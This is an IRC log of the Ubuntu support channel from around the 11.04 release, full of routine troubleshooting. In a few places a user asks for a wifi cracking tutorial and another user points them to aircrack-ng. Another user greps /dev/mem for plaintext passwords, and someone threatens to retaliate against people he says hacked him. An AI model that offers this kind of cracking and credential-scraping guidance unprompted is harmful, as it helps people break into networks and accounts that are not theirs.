[07:19] <bison> captainkrtek: then?
[07:20] <LAcan> !wlan | lacan
[07:20] <ubottu> LAcan, please see my private message
[07:20] <red2kic> buhman: I see that. 2.6.6-14
[07:20] <chille> sweet, KeePassX does the job perfectly. however it would be awesome with better integrations with 3rd party applications, but i guess thats not possible? :o
[07:21] <buhman> red2kic: I'm pretty ok with this, it at least looks somewhat like debian so far; I just don't like this concept of what a priveledges user is in ubuntu
[07:21] <buhman> and want to re-enable something more traditional
[07:21] <buhman> see, the live-cd worked how I wanted
[07:21] <buhman> and now all the sudden it changes during install
[07:21] <buhman> pretty deceptive I think...
[07:22] <buhman> I got quite a few surprises thrown at me after installing actually
[07:22] <red2kic> buhman: Heh. Maybe you can ask in #bash about that -- They could know the solution. I could be wrong -- but -- It is probably group permissions or etc. I'm not too versed with users/groups stuffs.
[07:23] <red2kic> buhman: You can make it like Debian -- but you just have to find out. Pretty typical in linux. <_<
[07:23] <Captainkrtek> bison, hit e
[07:23] <steve1> I'm running 11.04 and the top (unity?) menubar periodically semi-locks up (the time gets stuck, and a part of some window somehow gets overlayed on it, but it's still responsive to clicks).  Is there a way to force Unity to redraw itself?
[07:23] <buhman> red2kic: that was the plan; more stable than wheezy (at this point) and I could probably un-ubuntu-ifity it pretty easily... or so I thought
[07:24] <bison> captainkrtek: how to save? ive already added vge=771
[07:24] <Captainkrtek> vga=771
[07:24] <Captainkrtek> not vge
[07:24] <bison> soory
[07:24] <red2kic> buhman: Maybe you can ask in #debian on how to upgrade a singular package, python -- for your reason.
[07:24] <bison> ]sorry hehehe'
[07:24] <Captainkrtek> bison, press enter when done
[07:24] <red2kic> buhman: Install wheezy deb? :o
[07:24] <buhman> red2kic: I had wheezy...
[07:25] <buhman> red2kic: the problem is you can't just go from 2.6 to 2.7 that easily...
[07:25] <red2kic> buhman: Many other packages (and GUI stuffs) broke?
[07:25] <vega> does anyone know why natty's gdm does not remember the last logged in user? i just get "other" every time and have to press enter and type my username manually whereas in maverick it would prompt for the password right away
[07:25] <buhman> lots of components depend on python and you need to solve lots of dependencies making an upgrade like that
[07:25] <buhman> red2kic: I had it basically half-way done
[07:25] <johwil> hi guys I wonder : if there is a MODTracker for s3m?
[07:26] <buhman> nothing was broken; but apt was severely confused
[07:26] <buhman> I tried to have aptitude make a automagic proposal for me: it included uninstalling gnome
[07:26] <buhman> I think glibc was in there too in the list of packages to uninstall
[07:27] <buhman> I thought "hmm, I'd better jump ship before this blows up in my face"
[07:27] <red2kic> buhman: Meh. Ask in #debian -- or try using wheezy iso. The installation went crappy on me during upgrade (from stable to testing).
[07:28] <johwil> Maybe this isn't the best #channel to ask such questions....
[07:28] <buhman> red2kic: if this doesn't work out; that's what I'll end up doing :)
[07:28] <red2kic> buhman: :)
[07:29] <buhman> red2kic: I do already miss not having the firefox branding :P
[07:29] <red2kic> buhman: It's just a brand. A logo.
[07:29] <buhman> red2kic: I know
[07:29] <buhman> red2kic: I thought it was amusing "iceweasel"
[07:29] <red2kic> buhman: I miss out not having latest chromium.
[07:30] <buhman> I wonder if I can't switch that around too
[07:30] <buhman> shouldn't be hard at all
[07:31] <red2kic> vega: Upgrading always go flaky in my opinion. Also, my other opinion? Natty isn't ready. Ho ho ho. :<
[07:31] <bison> captainkrtek: my disk drives are being checked for errors
[07:31] <Captainkrtek> bison, :D
[07:31] <bison> captainkrtek: but still, no luck it went to black screen again
[07:31] <bison> sigh
[07:31] <Captainkrtek> bison, darn
[07:32] <xmaz> Hey, guys where can i change the login MOTD?
[07:32] <Gloopie>  
[07:32] <red2kic> xmaz: /etc/motd? (iirc).
[07:33] <steve1> I'm running 11.04 and the top unity menubar periodically semi-locks up (known bug http://preview.tinyurl.com/4xxbhm4).  Does anyone know a way to force Unity to redraw itself?
[07:33] <chille> what development environment should i take a look at? is Eclipse the most powerful choice for C/C++ and PHP?
[07:33] <bison> what seems to be the problem,
[07:35] <Trueman> i'm impressed by unity)
[07:35] <bison> captainkrtek: after typing vga=771, wat is the command in saving?
[07:35] <Captainkrtek> bison, enter key
[07:36] <bison> captainkrtek: then?
[07:36] <buhman> red2kic: all the sudo was confusing me; I've set the root password...
[07:36] <bison> captainkrtek: vga=771 is the last line
[07:36] <Captainkrtek> bison, boot to kernel
[07:36] <red2kic> bison: /boot/grub/grub.cfg (me think). There are no command to save. Just edit the file (and possibly) grub-update
[07:36] <Captainkrtek> red2kic, he doesnt have access to the os yet
[07:36] <red2kic> Captainkrtek: Ah.
[07:37] <dc5ala> chille, also have a look at Netbeans, less messy ;)
[07:37] <Chaorain> Hey,  I'm using Burg and I wanted to remove a few boot entries (Ubuntu recovery and the like) Can someone help? Editing Burg.cfg did nothing
[07:37] <buhman> red2kic: and #bash told me that that's not a bash question and that I should probably go back to #ubuntu :P
[07:37] <chille> dc5ala: okay
[07:37] <red2kic> buhman: :o
[07:38] <bison> captainkrtek: just a flashing screen, dark to light dark
[07:38] <red2kic> buhman: More like users/groups question, I'd imagine. #linux (or was it ##linux) could be the good channel. #ubuntu is good channel too but I don't know if people will know the answer to that (at this time).
[07:38] <Captainkrtek> bison, im as confused as you're
[07:39] <Captainkrtek> buhman, what is your question
[07:39] <ajdonnison> buhman, the default sudoers file sets those that are in the admin group as being able to use sudo, you can edit /etc/group and drop your user out of that group if that is the problem.
[07:39] <buhman> ajdonnison: that's the one; thanks
[07:39] <soreau> buhman: What's the question?
[07:39] <bison> captainkrtek: how about recovery mode
[07:39] <Captainkrtek> bison, try it
[07:40] <buhman> style question: how do I remove the padding from the taskbar buttons in the top-right?
[07:41] <aLeSD> hi all
[07:42] <aLeSD> someone know how to don't run the gnome-panel in ubunut-classic ?
[07:42] <soreau> aLeSD: You don't want any panel at all?
[07:42] <buhman> ajdonnison: should I have to re-log in? now I'm not asked for a password at all when I sudo (rather than the expected behavior: being told that that's no allowed"
[07:43] <ajdonnison> buhman, yes, you need to re-login.
[07:43] <buhman> ajdonnison: I appreciate it
[07:43] <ajdonnison> The /etc/group file is only read at login.
[07:44] <cretsiah> hi ppls, is there away, to view a sata drive that is connected by a multiport adapter, filesystem type comes up as unkown
[07:44] <dc5ala> aLeSD, think you have to rename the binary of it, used that once when i tried fancy dock like panel
[07:45] <jozefk> can I disable some of these effects in 11.04 with unity? all special desktop effects
[07:45] <jozefk> I can't find where to do that
[07:45] <buhman> jozefk: see? nobody likes unity
[07:45] <aLeSD> soreau: yes .. I am replacing everything with awn
[07:45] <jozefk> i don't like it either
[07:46] <jozefk> but I want to disable the effects
[07:46] <dc5ala> jozefk, have a look at compiz-config-manager
[07:46] <jozefk> can I?
[07:46] <buhman> jozefk: I switched to gnome-classic
[07:46] <aLeSD> dc5ala: I wan't rename it .. I used to change the panel entry in gconf-edit ... but .. it doesn't work anymore ... (11.04)
[07:46] <jozefk> can I start that from terminal?
[07:46] <steve1> buhman: I'm having a hellova time with it too.  I'm hoping it's just growing pains, but it just feels like alpha or beta software released too soon.
[07:46] <buhman> jozefk: you can log out and then switch in gdm3
[07:46] <buhman> steve1: I think it's just it's a bad idea gone wrong, plain and simple
[07:47] <soreau> aLeSD:From your terminal: 'sudo chmod -x /usr/bin/gnome-panel; killall gnome-panel' and to undo it 'sudo chmod +x /usr/bin/gnome-panel; gnome-panel & disown'
[07:47] <dc5ala> aLeSD, yes that's the one i tried once too (AWN), just renamed gnome-panel
[07:47] <red2kic> steve1: Time-based releases -- It's the tradition. :)
[07:47] <jozefk> how to start compiz config manager
[07:47] <jozefk> from terminal it does not work
[07:47] <soreau> jozefk: Run ccsm from your terminal
[07:48] <soreau> ! work | jozefk
[07:48] <ubottu> jozefk: Doesn't work is a strong statement. Does it sit on the couch all day? Does it want more money? Is it on IRC all the time? Please be specific! Examples of what doesn't work tend to help too.
[07:48] <red2kic> steve1: I imagine you will get updates to square out bugs, a month or two.
[07:48] <jozefk> ccsm is not installed
[07:48] <mithran> where can i install an installation cd of ubuntu that does not come with the x server, (so that i can try to install it)?
[07:48] <buhman> how can I remove the padding from the taskbar icons in the top-right? (making it look like every other gnome environment I've experienced prior to now)
[07:48] <jozefk> where do I get those effects without compiz then?
[07:48] <red2kic> !minimal | mithran
[07:48] <ubottu> mithran: The Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD
[07:49] <sje> jozefk: what effects?
[07:49] <buhman> jozefk: aptitude install ccsm?
[07:49] <dc5ala> jozefk, install compizconfig-settings-manager
[07:49] <red2kic> mithran: Although I have no idea if you can toggle on/off packages or it'll just install lot of packages at once. See alternative or server iso too
[07:49] <jozefk> I have compiz but can't do anything with it if I don't install first ccsm
[07:49] <jozefk> :P
[07:49] <steve1> buhman: how are you liking Gnome3?  that's the new one, right?
[07:49] <jozefk> that sucks
[07:50] <soreau> jozefk: What is the problem with installing ccsm?
[07:50] <buhman> steve1: umm, i think this is still 2.32 or something
[07:50] <jozefk> it should be already there
[07:50] <buhman> steve1: roger that ^
[07:50] <soreau> jozefk: No, it shouldn't
[07:50] <steve1> buhman: oh, I thought you said you were on 3.  my bad. :)
[07:50] <red2kic> steve1: I hate it. Added a launcher in fallback gnome mode. Can't delete it. I'm forced to nuke dconf fil.
[07:50] <buhman> steve1: gdm3
[07:50] <dc5ala> jozefk, well that is a very advanced config program ;)
[07:50] <buhman> steve1: the login manager thingy
[07:50] <soreau> jozefk: ccsm is technically a developer tool
[07:51] <jozefk> ok I run it now
[07:51] <glacia> can someone explain to me why i cant get an .exe to open in wine?
[07:51] <buhman> glacia: what's the output?
[07:51] <red2kic> glacia: What is the software? Screensaver.exe ?
[07:51] <buhman> glacia: my guess is that you might need to install vc runtimes
[07:51] <soreau> glacia: Perhaps you need to make it executable first?
[07:51] <buhman> soreau: not neccessary with wine
[07:52] <alphamale> can someone help me with running ubuntu live on a usb, i already have grub and puppy running on it
[07:52] <jozefk> if I disable Animations, Window Decoration and Fading Windows, I have no more icons in panel lol
[07:52] <glacia> its a trainer for a game... basically editting roms
[07:52] <jozefk> I believe this will work better now
[07:52] <jozefk> but without icons what will I do ? :))
[07:52] <buhman> glacia: and what's the output when you do "wine game.exe"?
[07:53] <soreau> alphamale: just install ubuntu as you normally would but select manual partitioning and select the usb stick node from gparted
[07:53] <alphamale> i dont want to partition
[07:53] <Targen> hi.  i've got a question that might seem a bit silly, but i've been googling for a couple hours now and i can't find anything.
[07:53] <glacia> buhman, i dont understand what you mean by output?
[07:53] <crack888> hello
[07:53] <alphamale> and where do i perform the install from
[07:53] <Targen> in gnome, how do i change the number of lines or otherwise alter the speed of mouse wheel scrolling?
[07:53] <jozefk> maybe reboot and see what happens :) most probably it won't even start anymore :)
[07:53] <crack888> is re
[07:53] <alphamale> i can mount the ubuntu iso in puppy
[07:53] <alphamale> but then what
[07:53] <FHtrain> how do i copy xchat logs from broken wubi using livecd? the logs are in /.xchat2 and i can see the list on the terminal but i dont know how to access them
[07:54] <jozefk> let's see
[07:54] <buhman> glacia: generally, when you run wine, it prints stuff to stdout
[07:54] <mysteriousdarren> I just upgraded to 11.04 and installed Microsoft Office 2007 through wine and now I can not find where to start it
[07:54] <buhman> glacia: and I'm asking when your application fails, what does wine say? Usually it will tell you more or less exactly what the problem is
[07:54] <crack888> china ???
[07:54] <glacia> well when i tell wine to open it, it just sits there thinking and then stop
[07:54] <glacia> no pop ups or anything
[07:55] <tripelb> FHtrain, I dont think you can get to wubi at all unless you boot from it.
[07:55] <red2kic> buhman: /etc/group thing worked?
[07:55] <crack888> my English is bad
[07:55] <buhman> red2kic: brilliantly
[07:55] <tripelb> FHtrain, tell me if it's different.
[07:55] <sje> FHtrain: I'm a bit confused by hat you mean, but cant you upload them to a file server?
[07:55] <red2kic> buhman: Ahh. Now I'll try to remember that. :0
[07:55] <buhman> red2kic: there's still some other su configuration that incorrect
[07:55] <sje> I think Wubi is a virtua machine, yes?
[07:55] <buhman> red2kic: it asks for the user's password, not the root password
[07:55] <red2kic> buhman: Compare /etc/group with ubuntu + debian, maybe?
[07:56] <soreau> glacia: Open a terminal, cd into the directory where the .exe is and run 'wine program.exe' and pastebin the output to paste.ubuntu.com and post the link here
[07:56] <buhman> red2kic: I don't think that has anything to do with /etc/group
[07:56] <jozefk> after reboot icons on panel are back but the top area in the window is gone :))
[07:56] <tripelb> crack888 suggestion: prepare a whole sentence with your problem and what Ubuntu you are running and he basic information. We are not mind-readers.
[07:56] <FHtrain> tripelb, i managed to access wubi with livecd but the problem is this dir starts with a period so i dont know how to access the files
[07:56] <ajdonnison> buhman, it doesn't.
[07:56] <jozefk> I can't minimize, maximize or anything
[07:56] <sje> FHtrain: control H ?
[07:56] <bison> captainkrtek: still no luck
[07:56] <buhman> ajdonnison: then what does?
[07:56] <Captainkrtek> bison, sorry :/
[07:57] <soreau> ! ch | crack888
[07:57] <ubottu> crack888: Das Schweizer Team finden sie unter #ubuntu-ch, deutschsprachigen Support bekommen sie aber in #ubuntu-de, #kubuntu-de oder #edubuntu-de. Aus regionalen Gründen ist im Schweizer Channel nur Englisch erlaubt. Geben sie einfach /join #ubuntu-at ein! Danke für ihr Verständnis.
[07:57] <elvian> hello
[07:57] <soreau> oops
[07:57] <alcane> so, yes, peeps are having issues with the 11.04 upgrade, but just want a little direction as the only searches I get r my own pastebins... ;/ http://pastebin.com/9qENxDgs
[07:57] <FHtrain> sje, i dont know how to upload them to file server
[07:57] <tripelb> really. FHtrain if you are using GUI then go to view and choose see hidden files. If you are in terminal use ls -a
[07:57] <ajdonnison> buhman, su should ask for the root password, sudo asks for the user password, which are you using?
[07:57] <alphamale> soreau: will that wipe my usb partition? i want to keep the data on it
[07:57] <buhman> ajdonnison: that was my main concern to begin with, actually, not so much that the user was in sudoers
[07:57] <buhman> ajdonnison: yes
[07:57] <jozefk> ok window decoration effect must be on
[07:57] <jozefk> :P~
[07:57] <jozefk> we are forced to use some effects
[07:57] <ajdonnison> buhman, yes is not a valid answer to my question.
[07:57] <soreau> alphamale: When you select manual partitioning, it should show the partitions already on it
[07:57] <glacia> .... nvm im just going to reload windows tomorrow... i am too stupid for linux
[07:58] <buhman> ajdonnison: sudo asks for the user password; not the root password (not the same thing as su)
[07:58] <FHtrain> tripelb, thanks i'll try it out
[07:58] <alphamale> yes, but does ubuntu need its own partition
[07:58] <alphamale> i want to run it as a live usb
[07:58] <sje> glacia: nonsense....my dad is too stupid for windows, but smart enough for linux
[07:58] <soreau> alphamale: So create one
[07:58] <jozefk> still without animation everything is much faster
[07:58] <tripelb> OK I want to copy a DVD complete to disk. what do you recommend I do.
[07:58] <jozefk> and fading things
[07:58] <elvian> I tried installing 11.04 with Wubi on my Toshiba satellite but all I get when I reboot is a blank screen after choosing Ubuntu in Grub. Where can I get some help regarding this issue?
[07:58] <buhman> alphamale: not neccesarily
[07:58] <alphamale> ok i could do that but i have grub already on it
[07:58] <tripelb> FHtrain, use my nick when you come back and I'll notice that in the room.
[07:58] <Heron_Marked> glacia, you may think that, but I don't think so.  Grab a Linux For Dummies Book from the Library or Bookstore.  After a bit of reading I think you'll get a really rapid hag of it.
[07:58] <alphamale> i just want to select booting into ubuntu instead of puppy
[07:58] <ajdonnison> buhman, so do you still have a problem? Or need clarification?
[07:59] <buhman> ajdonnison: both
[07:59] <glacia> heron, i have ubuntu unleashed 10.04 and 10.10
[07:59] <buhman> ajdonnison: the problem is that (even though the user isn't in sudoers right now), that sudo asks for his password
[07:59] <buhman> and no the root password like I'd expect
[07:59] <soreau> ! ask | buhman
[07:59] <ubottu> buhman: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[07:59] <alphamale> can i just modify the grub menu entry that comes with ubuntu, add it to my menu.lst?
[07:59] <FHtrain> lol tripelb thats a weird idea
[07:59] <buhman> soreau: how is that not a straightforward question?
[07:59] <alphamale> and then put ubuntu in its own directory
[08:00] <soreau> buhman: I still have yet to see you ask your full initial question
[08:00] <red2kic> soreau: Ubuntu's sudo/su does not behave same as Debian's sudo/su.
[08:00] <alcane> WARNING: Couldn't find symtab and strtab in module /lib/modules/2.6.38-8-generic/updates/dkms/nvidia-current.ko
[08:00] <elvian> anybody have an idea about my problem?
[08:00] <bison> captainkrtek: what is "-bash: /etc/profile: permission denied"
[08:00] <red2kic> soreau: He wish to have Debian's sudo/su.
[08:00] <ajdonnison> buhman, I think you are confusing su and sudo.  They do different things.  sudo only ever asks for the user password (unless configured not to), su only ever asks for the target user's password.
[08:01] <soreau> red2kic: So tell him to use debian?
[08:01] <red2kic> buhman: If you have Ubuntu + Debian side-by-side, you could compare /etc/pam.d/su -- Hopefully that matter. :\
[08:01] <tripelb> FHtrain, it's a wierd idea to tell me that it worked? or that the chat room tag turns blue when my nick is used?
[08:01] <jozefk> thanks for help anyway
[08:01] <red2kic> soreau: He want to use python2.7 .
[08:01] <alphamale> i just want a small debian that works well with python
[08:01] <faryshta> Is there any good tutorial for wifi cracking?
[08:02] <A[D]minS> !Gnome 3
[08:02] <FHtrain> FHtrain, i mean i thought it was weird idea for me to use your nick
[08:02] <buhman> red2kic: that wasn't neccessarily the problem: it was me borking the package manager
[08:02] <soreau> faryshta: aircrack-ng.org
[08:02] <red2kic> soreau: Debian --> 2.6.6. He may use debian if this thing does not pan out for buhman.
[08:02]  * alcane steps away for nourishment
[08:02] <buhman> red2kic: which was 100% my fault
[08:02] <red2kic> buhman: How did you bork package manager? By trying python2.7?
[08:03] <buhman> red2kic: among many other things, yes
[08:03] <buhman> red2kic: another problem was moving from openoffice to libreoffice
[08:03] <FHtrain> tripelb, but i thought 2 people cant use same nick?
[08:03] <buhman> red2kic: that caused more problems than you'd expect
[08:03] <boomboorum> Hi, is there any alternative to Gwibber?
[08:03] <red2kic> buhman: Heh. I wanted libreoffice. Just try wheezy iso and let me know how it goes.
[08:04] <faLUCE> hi. how can I encrypt a samba share?
[08:04] <red2kic> buhman: Also, I think you could have put python2.7 in /opt/ -- and use it when you need it. (what do you need it for?)
[08:04] <buhman> red2kic: for whatever reason, openoffice could not be uninstalled while gnome was installed
[08:04] <nutsfornatty> boomboorum: yes, pidgin for starters
[08:04] <FHtrain> tripelb, anyway thanks for telling me about showing hidden files, i didnt think of that, it worked
[08:04] <buhman> red2kic: (I think it was a specific component.. email or something...)
[08:04] <Igor_Elez> hi, i need help, i mistakenly uninstalled Network Manager, now i cant connect to internet, how can I get it back??? ANYONE? (using Ubuntu 10.04 Netbook Remix)
[08:04] <bison> any idea why my boot loader is broken
[08:04] <red2kic> buhman: gnome is metapackage. You can remove it. It'll whine -- but you can remove it.
[08:04] <boomboorum> nutsfornatty: I have pidgin, but I need a client which will combine twitter, facebook and buzz
[08:04] <buhman> red2kic: it wasn't "gnome" it was specific components; I'm aware of this :)
[08:05] <sje> Igor_Elez: do you have a flash drive?
[08:05] <red2kic> buhman: :D
[08:05] <Igor_Elez> yes
[08:05] <buhman> red2kic: as I recall, it was like gnome-workspace among others
[08:05] <elvian> guys, where can I get help with Wubi?
[08:05] <buhman> how does wubi work, anyway?
[08:05] <bison> i did an update and after reboot, my system is not working anymore
[08:05] <red2kic> buhman: It install Ubuntu OS as a Windows program.
[08:05] <buhman> is it just an embedded version of qemu?
[08:05] <Igor_Elez> sje yes, i am on the other PC, i have a flash drive ready
[08:05] <Stormshadow> hello all...
[08:05] <buhman> red2kic: that's *what* it does, not *how* it does it :)
[08:06] <sje> Igor_Elez: http://ftp.gnome.org/pub/GNOME/sources/NetworkManager/0.8/
[08:06] <sje> download and install
[08:06] <alphamale> if someone wants to pm me that's fine it's too confusing here
[08:06] <Igor_Elez> sje THANKS
[08:06] <FHtrain> buhman i did the same thing, i learned after that i'm not supposed to update after installing wubi
[08:06] <g0r33k> Hi everyone, I recently bought a microphone for my pc from ebay and have connected it to my computer using the microphone and speaker jack. The speakers work fine but the microphone does not wont. Any ideas?
[08:06] <g0r33k> work*
[08:06] <bison> i did an update and after reboot, my system is not working anymore, i can see a glimps of the flash screen and it went black with a flickering scree, dark to light dark
[08:06] <buhman> FHtrain: why?
[08:06] <glacia> i think i am still going to reload windows and just dual boot until i get a full hang of ubuntu
[08:07] <Stormshadow> im using xscreensaver and passwords containing the £ character cannot be used - i.e. unlocking fails. Any ideas?
[08:07] <buhman> FHtrain: isn't it just being virtualized?
[08:07] <faryshta> Is there any good tutorial for wifi cracking?
[08:07] <buhman> FHtrain: I don't see how that would cause problems with the package management
[08:07] <FHtrain> buhman, from what i read, updating ubuntu on wubi can cause booting problems
[08:07] <nutsfornatty> ubuntu 11.04 is there a way to change the wallpaper of the login screen? thanks
[08:08] <selig5> g0r33k: Get a microphone preamp.
[08:08] <FHtrain> buhman i'm now copying everything from the disc because i havent been able to fix the problem like other people
[08:08] <FHtrain> buhman, i cant boot into windows or ubuntu because of it
[08:08] <Igor_Elez> sje private :)
[08:08] <g0r33k> selig5: is that the only way?
[08:08] <red2kic> buhman: It install grub on MBR. Grub point to a compressed ISO somewhere on C:\ -- So Ubuntu on NTFS filesystem.
[08:09] <selig5> That's my guess.
[08:09] <g0r33k> okay
[08:09] <red2kic> buhman: If NTFS filesystem is garbage, Ubuntu's experience will be garbage, just same as Windows.
[08:10] <faryshta> which command should I use to resume a download in shell? Currently trying with wget.
[08:10] <grobe> hi guys , , anyone know how to set IP address in natty ? cause my IP address usually change if I disconnect and connect agaain, any idea ?
[08:11] <buhman> red2kic: and somehow it's a windows "application"?
[08:11] <tripelb> FHtrain, yw
[08:11] <buhman> red2kic: that doesn't make sense; and it you can't flexibly install packages or do a distribution upgrade?
[08:11] <red2kic> buhman: Yeah. It is treated that way.
[08:11] <buhman> red2kic: how?
[08:11] <red2kic> buhman: Ask in #debian about python2.7 (ask about backports)
[08:12] <tripelb> FHtrain, I see your confusion. I meant you use my nick in the line and it turns it red. Like you have been doing. nothing special. Good to have all this cleared up. Now I have to find a DVD copying program.
[08:13] <faryshta> which command should I use to resume a download in shell? Currently trying with wget.
[08:13] <grobe> anyone can help me please about my problem?
[08:13] <FHtrain> tripelb, oh ok you meant for me to just type your nick. i thought you were telling me to use your nick lol
[08:14] <mysteriousdarren> grobe: set a static ip?
[08:14] <larsemil> anything to do when the unitypar does not want to minimize?
[08:14] <faryshta> grobe, gnome or kde?
[08:14] <buhman> tripelb: transcode works pretty well
[08:15] <tripelb> buhman, I'll look.
[08:15] <grobe> mysteriousdarren: yeah, how to set it in my ubuntu natty ?
[08:15] <FHtrain> i learned my lesson i'm not going to try wubi again
[08:15] <tripelb> please remind me, what's the command to get all my specs. 10.04
[08:15] <buhman> tripelb: hwinfo?
[08:15] <bison> i did an update and after reboot, my system is not working anymore, i can see a glimps of the flash screen and it went black with a flickering scree, dark to light dark
[08:16] <help> yo
[08:16] <buhman> tripelb: for other's "uptime" :P
[08:16] <bhaskar> anyone can tell me how to configure vsftpd configuration file. i tried so many combinations but i still can't find the solution for my ftp server
[08:16] <help> not funny
[08:16] <Guest66097> ur point
[08:16] <Guest66097> wow
[08:17] <Guest66097> listen up noobs
[08:17] <Guest66097> i need some help
[08:17] <tripelb> buhman, I'm installing it but there's something I had. It wasnt uptime... It gave me a long long list of every everything and I'd rather have a short one.
[08:17] <Guest66097> i got this far with a cord
[08:17] <Guest66097> thats talent
[08:17] <Guest66097> someone help
[08:17] <buhman> tripelb: I was being facetious with "uptime" :P
[08:18] <Guest66097> dont care last night and ill ghost all involved
[08:18] <tripelb> !ask | Guest66097
[08:18] <ubottu> Guest66097: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[08:18] <red2kic> tripelb: hardinfo is a nice GUI tool.
[08:18] <buhman> tripelb: how about hwinfo --short?
[08:18] <Captainkrtek> goodnight everyone
[08:18] <faryshta> which command should I use to resume a download in shell? Currently trying with wget.
[08:18] <buhman> tripelb: what are you looking for in particular?
[08:18] <Captainkrtek> sorry I wasn't able to help much bison :(
[08:18] <bison> how to restore xorg.cfg?
[08:18] <buhman> faryshta: that would work
[08:18] <bison> captainkrtek: its ok, thanks
[08:18] <Guest66097> looking for a good person to help you will get what I intend to give and will make it worth ur while i go at 13 vs 1 not fair'
[08:18] <anarhist> hi, i wanted to see if any application on the machine is bright enough to store my password in plaintext (i suspect one which has asked my pass during the startup and that's all), i am trying to do $sudo cat /dev/mem |grep "password"  but i get an error cat: /dev/mem: Operation not permitted what is that?
[08:18] <red2kic> faryshta: wget -c ?
[08:18] <faryshta> buhman, what?
[08:19] <buhman> faryshta: wget works
[08:19] <faryshta> red2kic, no use.
[08:19] <Guest66097> sad
[08:19] <tripelb> buhman I asked in hardware about my old dell that heats up the room... and how I could tell if some other computer would be less hot. He asked me for my specs.
[08:19] <red2kic> faryshta: aria2 is nice (but I guess it's too late).
[08:19] <Guest66097> anyone real in here
[08:19] <faryshta> aria2 is a program or a command?
[08:19] <mysteriousdarren> grobe: did u google it yet? I would guess this is for a server?
[08:19] <shcherbak> Guest66097: You could just say what is The Problem (in english).
[08:19] <faryshta> red2kic, aria2 is a program or a command?
[08:19] <red2kic> !info aria2 | faryshta
[08:19] <llutz> Guest66097: do you have any ubuntu support related question?
[08:19] <ubottu> faryshta: aria2 (source: aria2): High speed download utility. In component universe, is optional. Version 1.10.9-1 (natty), package size 1521 kB, installed size 4380 kB
[08:19] <Guest66097> Im hacked its obvious
[08:19] <Guest66097> ghost crips
[08:20] <Guest66097> casper
[08:20] <red2kic> faryshta: It can do much more -- but only if you used it properly the first time.
[08:20] <buhman> tripelb: oh, well it doesn't need to be that specific; he's probably just interested if you're running some insane core i7 @ 10ghz or something rediculously stupid like that
[08:20] <bhaskar> anyone can tell me how to configure vsftpd configuration file. i tried so many combinations but i still can't find the solution for my ftp server
[08:20] <llutz> !ot | Guest66097 take it there
[08:20] <ubottu> Guest66097 take it there: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[08:20] <red2kic> faryshta: Which I guess you didn't -- So use "wget -c whatever.com/fat.zip"
[08:20] <faryshta> red2kic, will try it.
[08:20] <ubuntu> help me
[08:20] <buhman> faryshta: that's what you're supposed to do with wget, by the way :P
[08:20] <faryshta> red2kic, wget -c doesn't work. Restart the download completely.
[08:20] <Guest66097> wow im sitting in chat with the kiddy scripters man is there anyone who can help me
[08:21] <Guest66097> please
[08:21] <buhman> faryshta: who downloaded it to begin with?
[08:21] <larsemil> anything to do when the unitypar does not want to minimize? It stays open
[08:21] <larsemil> unity panel even
[08:21] <red2kic> faryshta: -c,  --continue                resume getting a partially-downloaded file.
[08:21] <Guest66097> red
[08:21] <sunil> hello everyone.
[08:21] <red2kic> gue
[08:21] <Guest66097> anyone help me man
[08:21] <sunil> I was looking for help on how to create custom debian CD/DVD. Anyone has information on this?
[08:21] <bhaskar> anyone help me in vsftpd ftp server
[08:21] <sunil> I was looking for help on how to create custom debian/ubuntu CD/DVD. Anyone has information on this?
[08:21] <hyu> http://www.turfezpartners.com/?a_aid=f1e0a0b6
[08:21] <mysteriousdarren> grobe: I have a guide if you want it
[08:22] <faryshta> red2kic, I read that too in the man pages but it doesn't work here.
[08:22] <buhman> red2kic: it might not work... for example, you can't resume a partially downloaded torrent :P (or anything else "mulithreaded" for that matter)
[08:22] <anarhist> sunil, try #debian
[08:22] <red2kic> faryshta: What are you wgetting?
[08:22] <sje2> sunil: remastersys
[08:22] <sunil> anarhist: I am also trying in #debian irc.
[08:22] <buhman> faryshta: the server might just plain not allow resuming
[08:22] <faryshta> An extabit file.
[08:22] <tripelb> thanks buhman got them and pasted them http://paste.ubuntu.com/603134/
[08:22] <red2kic> !remaster | sunil
[08:22] <ubottu> sunil: Interested in remastering the Ubuntu !live CD? See: https://help.ubuntu.com/community/LiveCDCustomization or use tools such as http://uck.sourceforge.net/ or http://linux.dell.com/wiki/index.php/DRU_Disc_Remastering_Utility
[08:22] <sunil> sje2: will I be able to add my own applications using remastersys
[08:22] <Guest66097> looks at the room all my attackers not one legit like i said i get this far with a cord lol
[08:22] <sje2> sunil: remastersys will make a copy of everything but your home directories
[08:23] <sje2> sunil: yes
[08:23] <new_kid> Hi, is there a channel for casual chat
[08:23] <ubuntu> my ubuntu on hdd can't acess the internet, but a live ubuntu can, help me!!
[08:23] <sunil> sje2: thanx, I am gonna try this now
[08:23] <red2kic> He quit...
[08:23] <buhman> tripelb: that gets somewhat boring somewhere around line 26 :)
[08:23] <Guest66097> im going to retaliate yo not going to sit here someone help me
[08:23] <red2kic> tripelb: Check out hardinfo -- it can generate a report too.
[08:24] <sunil> ubottu: will I be able to make an installer media using the link you have provided.
[08:24] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[08:24] <DJones> new_kid: #ubuntu-offtopic or #defocus for general chat
[08:24] <red2kic> sunil: Try it and find out.
[08:24] <new_kid> @djones : Thanks
[08:24] <tripelb> new_kid, #ubuntu-offtopic
[08:24] <Guest66097> anyone please!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[08:24] <Guest66097> no joke
[08:24] <buhman> what would be cool is if ubottu actually *was* intelligent
[08:24] <syrinx_> stop sending people to !ot
[08:24] <tripelb> red2kic, I will
[08:25] <syrinx_> !enter | Guest66097
[08:25] <ubottu> Guest66097: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[08:25] <llutz> Guest66097: <°)))o><  - take your fish and troll away -  ><o(((°>
[08:25] <buhman> if he actually learned from everything everyone said in the channel...
[08:25] <Guest66097> ill pay one of you for heavens sake 15 pc's destroyed
[08:25] <Guest66097> help
[08:25] <shcherbak> Guest66097: Just sent you message
